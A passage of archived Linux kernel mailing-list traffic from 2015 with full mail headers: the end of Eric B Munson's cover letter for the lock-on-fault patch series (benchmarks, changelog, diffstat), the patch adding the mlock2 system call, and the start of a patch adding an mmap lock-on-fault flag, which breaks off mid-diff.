covered by this handeler in a globally accessible structure, but I could
not find it.  It should be noted that with a large enough batch size
this two step fault handler can still cause the program to crash if it
reaches far beyond the end of the mapping.

These results show that if the developer knows that a majority of the
mapping will be used, it is better to try and fault it in at once,
otherwise MAP_LOCKONFAULT is significantly faster.

The performance cost of these patches are minimal on the two benchmarks
I have tested (stream and kernbench).  The following are the average
values across 20 runs of stream and 10 runs of kernbench after a warmup
run whose results were discarded.

Avg throughput in MB/s from stream using 1000000 element arrays
Test     4.2-rc1      4.2-rc1+lock-on-fault
Copy:    10,566.5     10,421
Scale:   10,685       10,503.5
Add:     12,044.1     11,814.2
Triad:   12,064.8     11,846.3

Kernbench optimal load
                 4.2-rc1  4.2-rc1+lock-on-fault
Elapsed Time     78.453   78.991
User Time        64.2395  65.2355
System Time      9.7335   9.7085
Context Switches 22211.5  22412.1
Sleeps           14965.3  14956.1

---
Changes from V4:
Drop all architectures for new sys call entries except x86[_64] and MIPS
Drop munlock2 and munlockall2
Make VM_LOCKONFAULT a modifier to VM_LOCKED only to simplify book keeping
Adjust tests to match

Changes from V3:
Ensure that pages present when mlock2(MLOCK_ONFAULT) is called are locked
Ensure that VM_LOCKONFAULT is handled in cases that used to only check VM_LOCKED
Add tests for new system calls
Add missing syscall entries, fix NR_syscalls on multiple arch's
Add missing MAP_LOCKONFAULT for tile

Changes from V2:
Added new system calls for mlock, munlock, and munlockall with added
flags arguments for controlling how memory is locked or unlocked.


Eric B Munson (7):
  mm: mlock: Refactor mlock, munlock, and munlockall code
  mm: mlock: Add new mlock system call
  mm: Introduce VM_LOCKONFAULT
  mm: mlock: Add mlock flags to enable VM_LOCKONFAULT usage
  mm: mmap: Add mmap flag to request VM_LOCKONFAULT
  selftests: vm: Add tests for lock on fault
  mips: Add entry for new mlock2 syscall

 arch/alpha/include/uapi/asm/mman.h          |   5 +
 arch/mips/include/uapi/asm/mman.h           |   8 +
 arch/mips/include/uapi/asm/unistd.h         |  15 +-
 arch/mips/kernel/scall32-o32.S              |   1 +
 arch/mips/kernel/scall64-64.S               |   1 +
 arch/mips/kernel/scall64-n32.S              |   1 +
 arch/mips/kernel/scall64-o32.S              |   1 +
 arch/parisc/include/uapi/asm/mman.h         |   5 +
 arch/powerpc/include/uapi/asm/mman.h        |   5 +
 arch/sparc/include/uapi/asm/mman.h          |   5 +
 arch/tile/include/uapi/asm/mman.h           |   9 +
 arch/x86/entry/syscalls/syscall_32.tbl      |   1 +
 arch/x86/entry/syscalls/syscall_64.tbl      |   1 +
 arch/xtensa/include/uapi/asm/mman.h         |   8 +
 drivers/gpu/drm/drm_vm.c                    |   8 +-
 fs/proc/task_mmu.c                          |   1 +
 include/linux/mm.h                          |   2 +
 include/linux/mman.h                        |   3 +-
 include/linux/syscalls.h                    |   2 +
 include/uapi/asm-generic/mman.h             |   5 +
 include/uapi/asm-generic/unistd.h           |   4 +-
 kernel/events/core.c                        |   3 +-
 kernel/fork.c                               |   2 +-
 kernel/sys_ni.c                             |   1 +
 mm/debug.c                                  |   1 +
 mm/gup.c                                    |  10 +-
 mm/huge_memory.c                            |   2 +-
 mm/hugetlb.c                                |   4 +-
 mm/mlock.c                                  |  77 +++--
 mm/mmap.c                                   |  10 +-
 mm/rmap.c                                   |   4 +-
 tools/testing/selftests/vm/Makefile         |   3 +
 tools/testing/selftests/vm/lock-on-fault.c  | 344 +++++++++++++++++++
 tools/testing/selftests/vm/mlock2-tests.c   | 507 ++++++++++++++++++++++++++++
 tools/testing/selftests/vm/on-fault-limit.c |  47 +++
 tools/testing/selftests/vm/run_vmtests      |  33 ++
 36 files changed, 1093 insertions(+), 46 deletions(-)
 create mode 100644 tools/testing/selftests/vm/lock-on-fault.c
 create mode 100644 tools/testing/selftests/vm/mlock2-tests.c
 create mode 100644 tools/testing/selftests/vm/on-fault-limit.c

Cc: Shuah Khan <shuahkh@osg.samsung.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Michael Kerrisk <mtk.manpages@gmail.com>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org


-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm
Subject: [PATCH V5 2/7] mm: mlock: Add new mlock system call
Date: Fri, 24 Jul 2015 17:28:40 -0400
Lines: 252
Approved: news@gmane.org
Message-ID: <1437773325-8623-3-git-send-email-emunson@akamai.com>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1437773359 30789 80.91.229.3 (24 Jul 2015 21:29:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Jul 2015 21:29:19 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>, Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-api@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Jul 24 23:29:09 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZIkWg-0005WK-5O
	for lnx-linux-alpha@plane.gmane.org; Fri, 24 Jul 2015 23:29:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754864AbbGXV3F (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Fri, 24 Jul 2015 17:29:05 -0400
Original-Received: from a23-79-238-175.deploy.static.akamaitechnologies.com ([23.79.238.175]:25217
	"EHLO prod-mail-xrelay07.akamai.com" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1753504AbbGXV2t (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Fri, 24 Jul 2015 17:28:49 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 9A6F14E028;
	Fri, 24 Jul 2015 21:29:33 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 824E84E026;
	Fri, 24 Jul 2015 21:29:33 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437773373; bh=KnAQiFTeOWoBkhz6lUBzHrMZUCzArSdEo5fSHDJHrdc=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=TfxYRlo6Iw5GQbXRPzRBeOLKAkYl92+WKW8PsoKAIhvGb09d+ydJLJQms4k/FAZ52
	 Or6Q/6BAbSqfGXdlVzSbg3o1cq2RPspXdhnlAB3c1w0KR6jJyrndKEZRx9zs+98Aui
	 qHOYo6k9KnoOuGIYHBr4G4G7dTu8kzPq2Fs5MnPA=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (unknown [172.28.12.165])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 631BE80892;
	Fri, 24 Jul 2015 21:28:47 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1437773325-8623-1-git-send-email-emunson@akamai.com>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3234 gmane.linux.kernel:2004453 gmane.linux.ports.arm.kernel:428990 gmane.linux.ports.ia64:25625 gmane.linux.ports.parisc:25870 gmane.linux.ports.ppc64.devel:115808 gmane.linux.ports.sh.devel:47496 gmane.linux.ports.sparc:21288 gmane.linux.kernel.api:13150 gmane.linux.kernel.cross-arch:28594 gmane.linux.kernel.mm:136315
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3234>

With the refactored mlock code, introduce a new system call for mlock.
The new call will allow the user to specify what lock states are being
added.  mlock2 is trivial at the moment, but a follow on patch will add
a new mlock state making it useful.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Stephen Rothwell <sfr@canb.auug.org.au>
Cc: Guenter Roeck <linux@roeck-us.net>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: adi-buildroot-devel@lists.sourceforge.net
Cc: linux-cris-kernel@axis.com
Cc: linux-ia64@vger.kernel.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-am33-list@redhat.com
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-api@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-mm@kvack.org
---
Changes from V4:
* Drop all architectures except x86[_64] from this patch, MIPS is added
  later in the series.  All others will be left to their maintainers.

Changes from V3:
* Do a (hopefully) complete job of adding the new system calls
 arch/alpha/include/uapi/asm/mman.h     | 2 ++
 arch/mips/include/uapi/asm/mman.h      | 5 +++++
 arch/parisc/include/uapi/asm/mman.h    | 2 ++
 arch/powerpc/include/uapi/asm/mman.h   | 2 ++
 arch/sparc/include/uapi/asm/mman.h     | 2 ++
 arch/tile/include/uapi/asm/mman.h      | 5 +++++
 arch/x86/entry/syscalls/syscall_32.tbl | 1 +
 arch/x86/entry/syscalls/syscall_64.tbl | 1 +
 arch/xtensa/include/uapi/asm/mman.h    | 5 +++++
 include/linux/syscalls.h               | 2 ++
 include/uapi/asm-generic/mman.h        | 2 ++
 include/uapi/asm-generic/unistd.h      | 4 +++-
 kernel/sys_ni.c                        | 1 +
 mm/mlock.c                             | 9 +++++++++
 14 files changed, 42 insertions(+), 1 deletion(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..ec72436 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -38,6 +38,8 @@
 #define MCL_CURRENT	 8192		/* lock all currently mapped pages */
 #define MCL_FUTURE	16384		/* lock all additions to address space */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
 #define MADV_SEQUENTIAL	2		/* expect sequential page references */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..67c1cdf 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -62,6 +62,11 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
 #define MADV_SEQUENTIAL 2		/* expect sequential page references */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..daab994 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -32,6 +32,8 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
 #define MADV_SEQUENTIAL 2               /* expect sequential page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 6ea26df..189e85f 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -23,6 +23,8 @@
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 0b14df3..13d51be 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -18,6 +18,8 @@
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index 81b8fc3..f69ce48 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -37,5 +37,10 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/x86/entry/syscalls/syscall_32.tbl b/arch/x86/entry/syscalls/syscall_32.tbl
index ef8187f..839d5df 100644
--- a/arch/x86/entry/syscalls/syscall_32.tbl
+++ b/arch/x86/entry/syscalls/syscall_32.tbl
@@ -365,3 +365,4 @@
 356	i386	memfd_create		sys_memfd_create
 357	i386	bpf			sys_bpf
 358	i386	execveat		sys_execveat			stub32_execveat
+359	i386	mlock2			sys_mlock2
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index 9ef32d5..ad36769 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -329,6 +329,7 @@
 320	common	kexec_file_load		sys_kexec_file_load
 321	common	bpf			sys_bpf
 322	64	execveat		stub_execveat
+323	common	mlock2			sys_mlock2
 
 #
 # x32-specific system call numbers start at 512 to avoid cache impact
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..11f354f 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -75,6 +75,11 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+/*
+ * Flags for mlock
+ */
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
 #define MADV_SEQUENTIAL	2		/* expect sequential page references */
diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index b45c45b..56a3d59 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -884,4 +884,6 @@ asmlinkage long sys_execveat(int dfd, const char __user *filename,
 			const char __user *const __user *argv,
 			const char __user *const __user *envp, int flags);
 
+asmlinkage long sys_mlock2(unsigned long start, size_t len, int flags);
+
 #endif
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index e9fe6fd..242436b 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -18,4 +18,6 @@
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
 
+#define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h
index e016bd9..14a6013 100644
--- a/include/uapi/asm-generic/unistd.h
+++ b/include/uapi/asm-generic/unistd.h
@@ -709,9 +709,11 @@ __SYSCALL(__NR_memfd_create, sys_memfd_create)
 __SYSCALL(__NR_bpf, sys_bpf)
 #define __NR_execveat 281
 __SC_COMP(__NR_execveat, sys_execveat, compat_sys_execveat)
+#define __NR_mlock2 282
+__SYSCALL(__NR_mlock2, sys_mlock2)
 
 #undef __NR_syscalls
-#define __NR_syscalls 282
+#define __NR_syscalls 283
 
 /*
  * All syscalls below here should go away really,
diff --git a/kernel/sys_ni.c b/kernel/sys_ni.c
index 7995ef5..4818b71 100644
--- a/kernel/sys_ni.c
+++ b/kernel/sys_ni.c
@@ -193,6 +193,7 @@ cond_syscall(sys_mlock);
 cond_syscall(sys_munlock);
 cond_syscall(sys_mlockall);
 cond_syscall(sys_munlockall);
+cond_syscall(sys_mlock2);
 cond_syscall(sys_mincore);
 cond_syscall(sys_madvise);
 cond_syscall(sys_mremap);
diff --git a/mm/mlock.c b/mm/mlock.c
index 1585cca..c9c6a0f 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -642,6 +642,15 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 	return do_mlock(start, len, VM_LOCKED);
 }
 
+SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
+{
+	vm_flags_t vm_flags = VM_LOCKED;
+	if (!flags || (flags & ~(MLOCK_LOCKED)))
+		return -EINVAL;
+
+	return do_mlock(start, len, vm_flags);
+}
+
 SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 {
 	int ret;
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V5 5/7] mm: mmap: Add mmap flag to request VM_LOCKONFAULT
Date: Fri, 24 Jul 2015 17:28:43 -0400
Lines: 202
Approved: news@gmane.org
Message-ID: <1437773325-8623-6-git-send-email-emunson@akamai.com>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1437773359 30790 80.91.229.3 (24 Jul 2015 21:29:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Jul 2015 21:29:19 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Fri Jul 24 23:29:02 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZIkWb-0005WL-S5
	for glkm-linux-mm-2@m.gmane.org; Fri, 24 Jul 2015 23:29:02 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id EAFAE6B0256; Fri, 24 Jul 2015 17:28:56 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id E5F489003C7; Fri, 24 Jul 2015 17:28:56 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id D73796B0258; Fri, 24 Jul 2015 17:28:56 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f42.google.com (mail-qg0-f42.google.com [209.85.192.42])
	by kanga.kvack.org (Postfix) with ESMTP id AF32F6B0256
	for <linux-mm@kvack.org>; Fri, 24 Jul 2015 17:28:56 -0400 (EDT)
Original-Received: by qgii95 with SMTP id i95so16752519qgi.2
        for <linux-mm@kvack.org>; Fri, 24 Jul 2015 14:28:56 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=/09nkwNhtYoxiysB+eBlqNERu6fNgeP2ndlCPqyGx1U=;
        b=aOsAGdvk4lGXM7z6C5/LhFGwap001IqYX7eUyKspXVQebEO2j9zRJiYmZo2mLO5mNB
         aupSy+KvN0mxLjsoKqDPNVZY6fOo0R7J8FcHjbw8wUDK8kok/vPrZPQAapjqKgdkMdWM
         77smlNWBFQyprRt3C1/+DVecTEb302zUnIwBtKy1ieeNvsCN6nFs1PhWDhKnhhfRE0Jt
         3ZLLtM9Hegz+/dRiKTl2pRkoHfmXaswqQ1+HAXTyNvtaRBPAzmb/o0gtXmsLqew2BDz7
         Hkc2sUNsDDq2v9c7me1r9ahGPAEAH5gKEr/OkiCsnJtpGKTPp6xwLyNqTV89Mjf5Ldyt
         cbVQ==
X-Gm-Message-State: ALoCoQkAhvi32aN9dllyW21TMQ8sRjykSAiwm/q8fbEMrwhiq3iHAKGNeZBlxDx7ni/XysgofKG0h2UbdMzF6dr2YXGQnzjCjCUdnLLw5PD3hZ/8ILjMT37qJNmEN0FgyqJTokOpSpQSHnP1vRpdtTrqsrV/V885v0aY1eulbuTtfyI+dfjjBeKuk/ebcVE2wqolyPYYlOI5
X-Received: by 10.140.99.49 with SMTP id p46mr23828004qge.46.1437773336504;
        Fri, 24 Jul 2015 14:28:56 -0700 (PDT)
X-Received: by 10.140.99.49 with SMTP id p46mr23827322qge.46.1437773328621;
        Fri, 24 Jul 2015 14:28:48 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com ([23.79.238.175])
        by mx.google.com with ESMTP id i59si11720445qgi.49.2015.07.24.14.28.48
        for <linux-mm@kvack.org>;
        Fri, 24 Jul 2015 14:28:48 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 23.79.238.175 as permitted sender) client-ip=23.79.238.175;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 23.79.238.175 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id EA0464E025;
	Fri, 24 Jul 2015 21:29:33 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id CECBE4E026;
	Fri, 24 Jul 2015 21:29:33 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1437773373; bh=8QsfGjbYtyzKmKGzYYd36V5HMBgQQQZuUg/A0GKR/78=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=rKhS/xYlr2uhLRgTNnH9YU3msM4srg+X2bCWiaWeBkRTxOOIIdz0wkO9pYGkXOkG6
	 OcN4+QwicBVIq4GrQAUa7zmbK+KxwA/SDjMPLbh7I5+ksZReumWxkcuW1eLd4eMT1w
	 tL3LiUJHD7C+OQaykgDvsCa5C6CySSTtp1FBbliA=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (unknown [172.28.12.165])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 9F1D380892;
	Fri, 24 Jul 2015 21:28:47 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1437773325-8623-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136316 gmane.linux.ports.alpha:3235 gmane.linux.kernel:2004454 gmane.linux.ports.mips.general:49573 gmane.linux.ports.parisc:25871 gmane.linux.ports.ppc64.devel:115809 gmane.linux.ports.sparc:21289 gmane.linux.kernel.cross-arch:28595 gmane.linux.kernel.api:13151
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136316>

The cost of faulting in all memory to be locked can be very high when
working with large mappings.  If only portions of the mapping will be
used this can incur a high penalty for locking.

Now that we have the new VMA flag for the locked but not present state,
expose it as an mmap option like MAP_LOCKED -> VM_LOCKED.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>
Cc: Chris Metcalf <cmetcalf@ezchip.com>
Cc: Guenter Roeck <linux@roeck-us.net>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
---
 arch/alpha/include/uapi/asm/mman.h   | 1 +
 arch/mips/include/uapi/asm/mman.h    | 1 +
 arch/parisc/include/uapi/asm/mman.h  | 1 +
 arch/powerpc/include/uapi/asm/mman.h | 1 +
 arch/sparc/include/uapi/asm/mman.h   | 1 +
 arch/tile/include/uapi/asm/mman.h    | 1 +
 arch/xtensa/include/uapi/asm/mman.h  | 1 +
 include/linux/mman.h                 | 3 ++-
 include/uapi/asm-generic/mman.h      | 1 +
 kernel/events/core.c                 | 3 ++-
 mm/mmap.c                            | 8 ++++++--
 11 files changed, 18 insertions(+), 4 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 77ae8db..3f80ca4 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -30,6 +30,7 @@
 #define MAP_NONBLOCK	0x40000		/* do not block on IO */
 #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
